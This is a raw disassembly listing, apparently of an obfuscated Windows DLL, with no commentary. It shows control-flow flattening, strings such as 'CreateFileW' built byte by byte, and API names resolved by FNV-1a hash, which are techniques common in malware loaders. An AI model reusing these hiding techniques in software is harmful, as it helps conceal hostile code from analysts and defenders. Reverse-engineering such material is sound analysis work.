mov rax, qword [rbp - 0x38]
mov eax, dword [rbp + 0x88]
add rax, qword [rbp + 0x38]
mov qword [rbp + 0x20], rax
mov eax, 0x9ffd43ca
jmp 0x18000b4c9
mov rcx, qword [rbp + 0x98]
mov rdx, qword [rbp + 0x80]
mov rax, qword [rbp - 0x80]
sub rsp, 0x20
call rax
add rsp, 0x20
test eax, eax
mov rax, qword [rbp - 0x50]
mov eax, 0x892a39d3
mov ecx, 0x268162d
cmove eax, ecx
jmp 0x18000b4c9
mov rdi, qword [rbp + 0x78]
mov qword [rbp + 0xe0], rdi
mov rax, qword [rbp + 0xe0]
mov byte [rax], 0x4e
mov rsi, qword [rbp + 0xe0]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x43
xor r8d, r8d
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 1], al
sub rsp, 0x20
mov r8d, 1
mov rcx, rdi
mov dl, WSAStartup
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 2], al
sub rsp, 0x20
mov r8d, 2
mov rcx, rdi
mov dl, 0x65
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 3], al
add rsi, 4
mov qword [rbp + 0xb8], rsi
lea rax, [0x18011fb01]
mov qword [rbp + 0xc8], rax
mov eax, 0x963350f8
nop
cmp eax, 0xdff7d889
jg 0x180007590
cmp eax, 0x963350f8
je 0x1800075bb
cmp eax, 0xccd38c99
jne 0x180007570
jmp 0x180008af9
cmp eax, 0xdff7d88a
je 0x180007600
cmp eax, 0x253065bb
jne 0x180007570
mov byte [rsi], 0
add rsi, 1
cmp rsi, qword [rbp + 0xe8]
mov eax, 0x253065bb
mov ecx, 0xccd38c99
cmove eax, ecx
jmp 0x180007570
mov rax, qword [rbp + 0xc8]
movzx edx, byte [rax]
sub rsp, 0x20
mov r8d, 3
mov rcx, rdi
call fcn.18001cd00
add rsp, 0x20
mov rcx, qword [rbp + 0xb8]
mov byte [rcx], al
mov rax, qword [rbp + 0xb8]
add rax, 1
mov qword [rbp + 0xc0], rax
mov eax, 0xdff7d88a
jmp 0x180007570
sub rsp, 0x20
mov r8d, 4
mov rcx, rdi
mov dl, 0x74
call fcn.18001cd00
add rsp, 0x20
mov rcx, qword [rbp + 0xc0]
mov byte [rcx], al
mov rsi, qword [rbp + 0xc0]
sub rsp, 0x20
mov r8d, 5
mov rcx, rdi
mov dl, 0x65
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 1], al
sub rsp, 0x20
mov r8d, 6
mov rcx, rdi
mov dl, 0x46
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 2], al
sub rsp, 0x20
mov r8d, 7
mov rcx, rdi
mov dl, 0x69
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 3], al
sub rsp, 0x20
mov r8d, 8
mov rcx, rdi
mov dl, 0x6c
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 4], al
sub rsp, 0x20
mov r8d, 9
mov rcx, rdi
mov dl, 0x65
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 5], al
sub rsp, 0x20
mov r8d, 0xa
mov rcx, rdi
mov dl, 0x57
call fcn.18001cd00
add rsp, 0x20
mov byte [rsi + 6], al
add rsi, 7
mov rax, qword [rbp + 0xe0]
add rax, 0xd
mov qword [rbp + 0xe8], rax
mov eax, 0x253065bb
jmp 0x180007570
mov rdi, qword [rbp + 0x98]
mov ecx, 0x65c75385
nop word cs:[rax + rax]
cmp ecx, 0x1c2b4888
je 0x1800090ca
cmp ecx, 0x65c75385
jne 0x180007700
sub rsp, 0x20
mov edx, 0x400
lea rcx, [rbp + 0x120]
mov r8, rdi
call fcn.180108600
mov r11d, 0xa2d30736
mov r10d, 0xfcf4cc8a
add rsp, 0x20
mov ecx, 0x1c2b4888
jmp 0x180007700
mov eax, 0xa55f0968
mov dword [rbp + 0xac], 1
jmp 0x1800036a0
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0xf8]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rcx, qword [rbp + 0x38]
cmp rcx, rax
mov eax, 0xafffd905
mov ecx, 0x3ff99fa8
cmovl eax, ecx
jmp 0x1800036a0
mov rax, qword [rbp + 0xe8]
mov bl, byte [rax]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, bl
mov rcx, qword [rbp + 0xc0]
mov byte [rcx], al
mov rsi, qword [rbp + 0xc0]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x4a
call fcn.18001cef0
add rsp, 0x20
add al, 0x65
mov byte [rsi + 1], al
mov byte [rsi + 2], 0
mov rcx, qword [rbp + 0x58]
sub rsp, 0x20
call fcn.18000c160
add rsp, 0x20
mov ecx, dword [0x1801294d8]
mov edx, dword [0x1801294dc]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xd7]
cmp edx, 0xa
setl dl
setl byte [rbp + 0xd6]
or dl, cl
mov edx, 0xc8c5b29f
mov ecx, 0x8063f108
cmovne edx, ecx
mov dword [rbp + 0xb4], edx
mov r10d, 0xc8c5b29f
mov ecx, 0x7ddfb06
cmovne r10d, ecx
mov r11d, 0xec12727d
mov ecx, 0x1d57daac
cmovne r11d, ecx
mov r14d, 0xec12727d
mov ecx, 0x18cb5172
cmovne r14d, ecx
mov r9d, 0xe9e21f4b
mov ecx, 0x4e6deaae
cmovne r9d, ecx
mov ecx, 0xe71cb6cf
jmp 0x180007870
mov ecx, 0x18cb5172
nop dword [rax]
mov esi, ecx
cmp ecx, 0xe9e21f4a
jle 0x1800078d0
cmp esi, 0x2cebdf0a
jle 0x180007920
cmp esi, 0x553ba0a3
jle 0x1800079d6
cmp esi, 0x5f30b901
jg 0x180007add
cmp esi, 0x553ba0a4
je 0x180007c2b
mov ecx, esi
cmp esi, 0x5cf0a5d0
jne 0x180007870
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov ecx, 0xa0e5e177
jmp 0x180007870
cmp esi, 0xb4b5f8a9
jg 0x180007970
cmp esi, 0xacd1a4a1
jle 0x180007a06
cmp esi, 0xae2d49db
jg 0x180007b7e
cmp esi, 0xacd1a4a2
je 0x180007c3c
mov ecx, esi
cmp esi, 0xacd9a7e7
jne 0x180007870
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xe0]
jmp 0x180007870
cmp esi, 0x1e9535f
jle 0x180007a45
cmp esi, 0x18cb5171
jg 0x180007ba3
mov ecx, r14d
cmp esi, 0x1e95360
je 0x180007870
mov ecx, esi
cmp esi, 0x7ddfb06
jne 0x180007870
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov ecx, dword [rbp + 0xb4]
jmp 0x180007870
cmp esi, 0xc62339db
jle 0x180007a85
cmp esi, 0xd0fc2277
jg 0x180007bca
cmp esi, 0xc62339dc
je 0x180007c55
mov ecx, esi
cmp esi, 0xc8c5b29f
jne 0x180007870
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, 0x7ddfb06
jmp 0x180007870
cmp esi, 0x4e6deaad
jle 0x180007c09
cmp esi, 0x4e6deaae
je 0x180007c7d
mov ecx, esi
cmp esi, 0x52a9d8f6
jne 0x180007870
mov ecx, 0x2cebdf0b
jmp 0x180007870
cmp esi, 0x8044d379
je 0x180007c87
cmp esi, 0x8063f108
je 0x180007ca1
mov ecx, esi
cmp esi, 0xa0e5e177
jne 0x180007870
cmp byte [rbp + 0xf7], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x180007870
cmp esi, 0xe9e21f4b
je 0x180007cab
cmp esi, 0xec12727d
je 0x180007864
mov ecx, esi
cmp esi, 0xffb5b154
jne 0x180007870
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0xdf], cl
mov ecx, 0xc62339dc
jmp 0x180007870
cmp esi, 0xb4b5f8aa
je 0x180007cb5
cmp esi, 0xbd5aa87e
je 0x180007cce
mov ecx, esi
cmp esi, 0xbf71e338
jne 0x180007870
mov dword [rbp + 0xc8], r15d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x180007870
cmp esi, 0x5f30b902
je 0x180007cdf
mov ecx, esi
cmp esi, 0x66a81c96
jne 0x180007870
movsxd r13, r12d
mov rcx, qword [rbp + 0xe8]
mov rsi, rcx
movabs r8, 0x4ad202c4d6352806
and rsi, r8
movabs rdx, 0x300c2021098a5629
or rsi, rdx
movabs rbx, 0xb52dfd3b29cad7f9
and rcx, rbx
xor rcx, rsi
mov rsi, rcx
movabs rdx, 0x7ade22e5dfbf7e2f
xor rsi, rdx
mov rdi, r13
xor rdi, r8
movabs rdx, 0x8521dd1a204081d0
xor rcx, rdx
and rcx, rdi
xor r13, rbx
and r13, rsi
or r13, rcx
movabs rcx, 0x100000001b3
imul r13, rcx
mov edi, dword [rbp + 0xc0]
add edi, 1
mov ecx, 0xd0fc2278
jmp 0x180007870
mov ecx, r10d
cmp esi, 0xae2d49dc
je 0x180007870
mov ecx, esi
cmp esi, 0xae32b02c
jne 0x180007870
mov ecx, r9d
jmp 0x180007870
mov ecx, r11d
cmp esi, 0x18cb5172
je 0x180007870
mov ecx, esi
cmp esi, 0x1d57daac
jne 0x180007870
mov ecx, 0x5f30b902
jmp 0x180007870
cmp esi, 0xd0fc2278
je 0x180007cec
mov ecx, esi
cmp esi, 0xe71cb6cf
jne 0x180007870
movzx ebx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov ecx, 0xe9e21f4b
mov edx, 0xae32b02c
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
jmp 0x180007870
cmp esi, 0x2cebdf0b
jne 0x180007d19
mov ecx, 0xd0fc2278
xor edi, edi
movabs r13, 0xcbf29ce484222325
jmp 0x180007870
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xb8]
jmp 0x180007870
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov ecx, 0xbd5aa87e
jmp 0x180007870
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x180007870
mov ecx, 0x1e95360
jmp 0x180007870
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov ecx, 0xb4b5f8aa
jmp 0x180007870
mov ecx, 0x553ba0a4
jmp 0x180007870
mov ecx, 0xae32b02c
jmp 0x180007870
cmp byte [rbp + 0xd5], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x180007870
mov ecx, 0xbf71e338
mov r15d, dword [rbp + 0xd8]
jmp 0x180007870
mov ecx, 0xbf71e338
xor r15d, r15d
jmp 0x180007870
mov dword [rbp + 0xc0], edi
mov qword [rbp + 0xe8], r13
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x180007870
mov ecx, esi
cmp esi, 0x3fbb12b4
jne 0x180007870
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov qword [rbp - 0x70], rax
mov eax, 0x9f8338ab
jmp 0x18000b4b7
mov dword [rbp + 0xe8], eax
mov eax, dword [rbp + 0xe8]
mov eax, 0xd83bf567
jmp 0x1800036a0
mov byte [rbp + 0xe8], cl
mov cl, byte [rbp + 0xe8]
mov byte [rax], cl
mov edx, 0x99d14913
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0xdf7a3ced
je 0x1800091ea
cmp edx, 0x99d14913
jne 0x180007d80
mov ecx, 0xf09ed12e
nop dword [rax]
cmp ecx, 0xf09ed12e
je 0x180007db2
cmp ecx, 0x5a3c35b1
jne 0x180007da0
jmp 0x180007db9
mov ecx, 0x5a3c35b1
jmp 0x180007da0
mov dword [rbp + 0xe8], reloc.WS2_32.dll_WSAStartup
movsxd rcx, dword [rbp + 0xe8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
add cl, 0x65
mov edx, 0xdf7a3ced
jmp 0x180007d80
mov rcx, qword [rbp + 0x68]
sub rsp, 0x20
call fcn.18000bbd0
add rsp, 0x20
mov ecx, dword [0x1801294d8]
mov edx, dword [0x1801294dc]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xd7]
cmp edx, 0xa
setl dl
setl byte [rbp + 0xd6]
or dl, cl
mov edx, 0xc8c5b29f
mov ecx, 0x8063f108
cmovne edx, ecx
mov dword [rbp + 0xb4], edx
mov r10d, 0xc8c5b29f
mov ecx, 0x7ddfb06
cmovne r10d, ecx
mov r11d, 0xec12727d
mov ecx, 0x1d57daac
cmovne r11d, ecx
mov r14d, 0xec12727d
mov ecx, 0x18cb5172
cmovne r14d, ecx
mov r9d, 0xe9e21f4b
mov ecx, 0x4e6deaae
cmovne r9d, ecx
mov ecx, 0xe71cb6cf
jmp 0x180007e90
mov ecx, 0x18cb5172
nop word [rax + rax]
mov esi, ecx
cmp ecx, 0xe9e21f4a
jle 0x180007ef0
cmp esi, 0x2cebdf0a
jle 0x180007f40
cmp esi, 0x553ba0a3
jle 0x180007ff6
cmp esi, 0x5f30b901
jg 0x1800080fd
cmp esi, 0x553ba0a4
je 0x18000824b
mov ecx, esi
cmp esi, 0x5cf0a5d0
jne 0x180007e90
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov ecx, 0xa0e5e177
jmp 0x180007e90
cmp esi, 0xb4b5f8a9
jg 0x180007f90
cmp esi, 0xacd1a4a1
jle 0x180008026
cmp esi, 0xae2d49db
jg 0x18000819e
cmp esi, 0xacd1a4a2
je 0x18000825c
mov ecx, esi
cmp esi, 0xacd9a7e7
jne 0x180007e90
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xe0]
jmp 0x180007e90
cmp esi, 0x1e9535f
jle 0x180008065
cmp esi, 0x18cb5171
jg 0x1800081c3
mov ecx, r14d
cmp esi, 0x1e95360
je 0x180007e90
mov ecx, esi
cmp esi, 0x7ddfb06
jne 0x180007e90
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov ecx, dword [rbp + 0xb4]
jmp 0x180007e90
cmp esi, 0xc62339db
jle 0x1800080a5
cmp esi, 0xd0fc2277
jg 0x1800081ea
cmp esi, 0xc62339dc
je 0x180008275
mov ecx, esi
cmp esi, 0xc8c5b29f
jne 0x180007e90
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, 0x7ddfb06
jmp 0x180007e90
cmp esi, 0x4e6deaad
jle 0x180008229
cmp esi, 0x4e6deaae
je 0x18000829d
mov ecx, esi
cmp esi, 0x52a9d8f6
jne 0x180007e90
mov ecx, 0x2cebdf0b
jmp 0x180007e90
cmp esi, 0x8044d379
je 0x1800082a7
cmp esi, 0x8063f108
je 0x1800082c1
mov ecx, esi
cmp esi, 0xa0e5e177
jne 0x180007e90
cmp byte [rbp + 0xf7], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x180007e90
cmp esi, 0xe9e21f4b
je 0x1800082cb
cmp esi, 0xec12727d
je 0x180007e85
mov ecx, esi
cmp esi, 0xffb5b154
jne 0x180007e90
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0xdf], cl
mov ecx, 0xc62339dc
jmp 0x180007e90
cmp esi, 0xb4b5f8aa
je 0x1800082d5
cmp esi, 0xbd5aa87e
je 0x1800082ee
mov ecx, esi
cmp esi, 0xbf71e338
jne 0x180007e90
mov dword [rbp + 0xc8], r15d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x180007e90
cmp esi, 0x5f30b902
je 0x1800082ff
mov ecx, esi
cmp esi, 0x66a81c96
jne 0x180007e90
movsxd r13, r12d
mov rcx, qword [rbp + 0xe8]
mov rsi, rcx
movabs r8, 0x4ad202c4d6352806
and rsi, r8
movabs rdx, 0x300c2021098a5629
or rsi, rdx
movabs rbx, 0xb52dfd3b29cad7f9
and rcx, rbx
xor rcx, rsi
mov rsi, rcx
movabs rdx, 0x7ade22e5dfbf7e2f
xor rsi, rdx
mov rdi, r13
xor rdi, r8
movabs rdx, 0x8521dd1a204081d0
xor rcx, rdx
and rcx, rdi
xor r13, rbx
and r13, rsi
or r13, rcx
movabs rcx, 0x100000001b3
imul r13, rcx
mov edi, dword [rbp + 0xc0]
add edi, 1
mov ecx, 0xd0fc2278
jmp 0x180007e90
mov ecx, r10d
cmp esi, 0xae2d49dc
je 0x180007e90
mov ecx, esi
cmp esi, 0xae32b02c
jne 0x180007e90
mov ecx, r9d
jmp 0x180007e90
mov ecx, r11d
cmp esi, 0x18cb5172
je 0x180007e90
mov ecx, esi
cmp esi, 0x1d57daac
jne 0x180007e90
mov ecx, 0x5f30b902
jmp 0x180007e90
cmp esi, 0xd0fc2278
je 0x18000830c
mov ecx, esi
cmp esi, 0xe71cb6cf
jne 0x180007e90
movzx ebx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov ecx, 0xe9e21f4b
mov edx, 0xae32b02c
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
jmp 0x180007e90
cmp esi, 0x2cebdf0b
jne 0x180008339
mov ecx, 0xd0fc2278
xor edi, edi
movabs r13, 0xcbf29ce484222325
jmp 0x180007e90
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xb8]
jmp 0x180007e90
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov ecx, 0xbd5aa87e
jmp 0x180007e90
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x180007e90
mov ecx, 0x1e95360
jmp 0x180007e90
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov ecx, 0xb4b5f8aa
jmp 0x180007e90
mov ecx, 0x553ba0a4
jmp 0x180007e90
mov ecx, 0xae32b02c
jmp 0x180007e90
cmp byte [rbp + 0xd5], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x180007e90
mov ecx, 0xbf71e338
mov r15d, dword [rbp + 0xd8]
jmp 0x180007e90
mov ecx, 0xbf71e338
xor r15d, r15d
jmp 0x180007e90
mov dword [rbp + 0xc0], edi
mov qword [rbp + 0xe8], r13
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x180007e90
mov ecx, esi
cmp esi, 0x3fbb12b4
jne 0x180007e90
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rdx, qword [rbp + 0x40]
mov rcx, qword [rbp + 0x90]
mov r8d, dword [rbp + 0x88]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x104]
call rax
add rsp, 0x30
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp + 0x60]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp + 0x60]
mov ecx, 0x37b3c0ed
mov r8d, 0xa306e9fa
mov r9d, 0x4bcc94
nop dword [rax]
cmp ecx, 0x37b3c0ed
je 0x1800083c5
cmp ecx, 0x8d81730e
jne 0x1800083b0
jmp 0x180009270
mov ecx, 0x8d81730e
jmp 0x1800083b0
mov rcx, qword [rbp + 0x50]
sub rsp, 0x20
call fcn.18000c570
add rsp, 0x20
mov ecx, dword [0x1801294d8]
mov edx, dword [0x1801294dc]
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete cl
sete byte [rbp + 0xd7]
cmp edx, 0xa
setl dl
setl byte [rbp + 0xd6]
or dl, cl
mov edx, 0xc8c5b29f
mov ecx, 0x8063f108
cmovne edx, ecx
mov dword [rbp + 0xb4], edx
mov r10d, 0xc8c5b29f
mov ecx, 0x7ddfb06
cmovne r10d, ecx
mov r11d, 0xec12727d
mov ecx, 0x1d57daac
cmovne r11d, ecx
mov r14d, 0xec12727d
mov ecx, 0x18cb5172
cmovne r14d, ecx
mov r9d, 0xe9e21f4b
mov ecx, 0x4e6deaae
cmovne r9d, ecx
mov ecx, 0xe71cb6cf
jmp 0x180008470
mov ecx, 0x18cb5172
nop word cs:[rax + rax]
mov esi, ecx
cmp ecx, 0xe9e21f4a
jle 0x1800084d0
cmp esi, 0x2cebdf0a
jle 0x180008520
cmp esi, 0x553ba0a3
jle 0x1800085d6
cmp esi, 0x5f30b901
jg 0x1800086dd
cmp esi, 0x553ba0a4
je 0x18000882b
mov ecx, esi
cmp esi, 0x5cf0a5d0
jne 0x180008470
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x5b
setl byte [rbp + 0xf7]
mov ecx, 0xa0e5e177
jmp 0x180008470
cmp esi, 0xb4b5f8a9
jg 0x180008570
cmp esi, 0xacd1a4a1
jle 0x180008606
cmp esi, 0xae2d49db
jg 0x18000877e
cmp esi, 0xacd1a4a2
je 0x18000883c
mov ecx, esi
cmp esi, 0xacd9a7e7
jne 0x180008470
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xe0]
jmp 0x180008470
cmp esi, 0x1e9535f
jle 0x180008645
cmp esi, 0x18cb5171
jg 0x1800087a3
mov ecx, r14d
cmp esi, 0x1e95360
je 0x180008470
mov ecx, esi
cmp esi, 0x7ddfb06
jne 0x180008470
mov ecx, dword [rbp + 0xe0]
or ecx, 0x20
mov dword [rbp + 0xb8], ecx
mov ecx, dword [rbp + 0xb4]
jmp 0x180008470
cmp esi, 0xc62339db
jle 0x180008685
cmp esi, 0xd0fc2277
jg 0x1800087ca
cmp esi, 0xc62339dc
je 0x180008855
mov ecx, esi
cmp esi, 0xc8c5b29f
jne 0x180008470
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, dword [rbp + 0xe0]
mov ecx, 0x7ddfb06
jmp 0x180008470
cmp esi, 0x4e6deaad
jle 0x180008809
cmp esi, 0x4e6deaae
je 0x18000887d
mov ecx, esi
cmp esi, 0x52a9d8f6
jne 0x180008470
mov ecx, 0x2cebdf0b
jmp 0x180008470
cmp esi, 0x8044d379
je 0x180008887
cmp esi, 0x8063f108
je 0x1800088a1
mov ecx, esi
cmp esi, 0xa0e5e177
jne 0x180008470
cmp byte [rbp + 0xf7], 0
mov ecx, 0xacd9a7e7
mov edx, 0xae2d49dc
cmovne ecx, edx
jmp 0x180008470
cmp esi, 0xe9e21f4b
je 0x1800088ab
cmp esi, 0xec12727d
je 0x180008461
mov ecx, esi
cmp esi, 0xffb5b154
jne 0x180008470
mov ecx, dword [rbp + 0xc0]
movzx ecx, byte [rax + rcx]
mov byte [rbp + 0xdf], cl
mov ecx, 0xc62339dc
jmp 0x180008470
cmp esi, 0xb4b5f8aa
je 0x1800088b5
cmp esi, 0xbd5aa87e
je 0x1800088ce
mov ecx, esi
cmp esi, 0xbf71e338
jne 0x180008470
mov dword [rbp + 0xc8], r15d
mov ecx, dword [rbp + 0xc8]
movsx ecx, byte [rax + rcx]
mov dword [rbp + 0xd0], ecx
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x20
mov ecx, 0x52a9d8f6
mov edx, 0x8044d379
cmovge ecx, edx
jmp 0x180008470
cmp esi, 0x5f30b902
je 0x1800088df
mov ecx, esi
cmp esi, 0x66a81c96
jne 0x180008470
movsxd r13, r12d
mov rcx, qword [rbp + 0xe8]
mov rsi, rcx
movabs r8, 0x4ad202c4d6352806
and rsi, r8
movabs rdx, 0x300c2021098a5629
or rsi, rdx
movabs rbx, 0xb52dfd3b29cad7f9
and rcx, rbx
xor rcx, rsi
mov rsi, rcx
movabs rdx, 0x7ade22e5dfbf7e2f
xor rsi, rdx
mov rdi, r13
xor rdi, r8
movabs rdx, 0x8521dd1a204081d0
xor rcx, rdx
and rcx, rdi
xor r13, rbx
and r13, rsi
or r13, rcx
movabs rcx, 0x100000001b3
imul r13, rcx
mov edi, dword [rbp + 0xc0]
add edi, 1
mov ecx, 0xd0fc2278
jmp 0x180008470
mov ecx, r10d
cmp esi, 0xae2d49dc
je 0x180008470
mov ecx, esi
cmp esi, 0xae32b02c
jne 0x180008470
mov ecx, r9d
jmp 0x180008470
mov ecx, r11d
cmp esi, 0x18cb5172
je 0x180008470
mov ecx, esi
cmp esi, 0x1d57daac
jne 0x180008470
mov ecx, 0x5f30b902
jmp 0x180008470
cmp esi, 0xd0fc2278
je 0x1800088ec
mov ecx, esi
cmp esi, 0xe71cb6cf
jne 0x180008470
movzx ebx, byte [rbp + 0xd7]
cmp byte [rbp + 0xd6], 0
mov ecx, 0xe9e21f4b
mov edx, 0xae32b02c
cmovne ecx, edx
test bl, bl
cmovne ecx, edx
jmp 0x180008470
cmp esi, 0x2cebdf0b
jne 0x180008919
mov ecx, 0xd0fc2278
xor edi, edi
movabs r13, 0xcbf29ce484222325
jmp 0x180008470
mov ecx, 0x66a81c96
mov r12d, dword [rbp + 0xb8]
jmp 0x180008470
mov ecx, dword [rbp + 0xc8]
add ecx, 1
mov dword [rbp + 0xd8], ecx
mov ecx, 0xbd5aa87e
jmp 0x180008470
movsx ecx, byte [rbp + 0xdf]
mov dword [rbp + 0xe0], ecx
mov ecx, dword [rbp + 0xe0]
cmp ecx, 0x41
mov ecx, 0xacd9a7e7
mov edx, 0x5cf0a5d0
cmovge ecx, edx
jmp 0x180008470
mov ecx, 0x1e95360
jmp 0x180008470
mov ecx, dword [rbp + 0xd0]
cmp ecx, 0x7f
setl byte [rbp + 0xd5]
mov ecx, 0xb4b5f8aa
jmp 0x180008470
mov ecx, 0x553ba0a4
jmp 0x180008470
mov ecx, 0xae32b02c
jmp 0x180008470
cmp byte [rbp + 0xd5], 0
mov ecx, 0x52a9d8f6
mov edx, 0xacd1a4a2
cmovne ecx, edx
jmp 0x180008470
mov ecx, 0xbf71e338
mov r15d, dword [rbp + 0xd8]
jmp 0x180008470
mov ecx, 0xbf71e338
xor r15d, r15d
jmp 0x180008470
mov dword [rbp + 0xc0], edi
mov qword [rbp + 0xe8], r13
mov ecx, dword [rbp + 0xc8]
mov esi, dword [rbp + 0xc0]
cmp esi, ecx
mov ecx, 0x3fbb12b4
mov edx, 0xffb5b154
cmovb ecx, edx
jmp 0x180008470
mov ecx, esi
cmp esi, 0x3fbb12b4
jne 0x180008470
mov rcx, qword [rbp + 0xe8]
sub rsp, 0x20
call fcn.1800e9be0
add rsp, 0x20
mov rcx, qword [rbp + 0x98]
sub rsp, 0x20
call rax
add rsp, 0x20
test eax, eax
sete byte [rbp + 0xb3]
mov eax, 0xf1a61daa
jmp 0x18000b4b7
mov dword [rbp + 0xe8], eax
mov eax, dword [rbp + 0xe8]
mov qword [rbp - 0x10], rdi
mov rax, qword [rbp - 0x10]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x47
call fcn.18001cb40
add rsp, 0x20
mov byte [rbp + 0x108], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x65
call fcn.18001cb40
add rsp, 0x20
mov byte [rbp + 0x109], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x74
call fcn.18001cb40
add rsp, 0x20
mov byte [rbp + 0x10a], al
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x46
call fcn.18001cb40
add rsp, 0x20
mov byte [rbp + 0x10b], al
lea rax, [rbp + 0x10c]
mov qword [rbp + 0xc0], rax
mov eax, 0x75eb10eb
nop word cs:[rax + rax]
cmp eax, 0x1d865868
je 0x18000934d
cmp eax, 0x75eb10eb
jne 0x1800089f0
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x69
call fcn.18001cb40
add rsp, 0x20
mov rcx, qword [rbp + 0xc0]
mov byte [rcx], al
mov rsi, qword [rbp + 0xc0]
sub rsp, 0x20
mov rcx, rdi
mov dl, 0x6c
call fcn.18001cb40
add rsp, 0x20
mov byte [rsi + 1], al
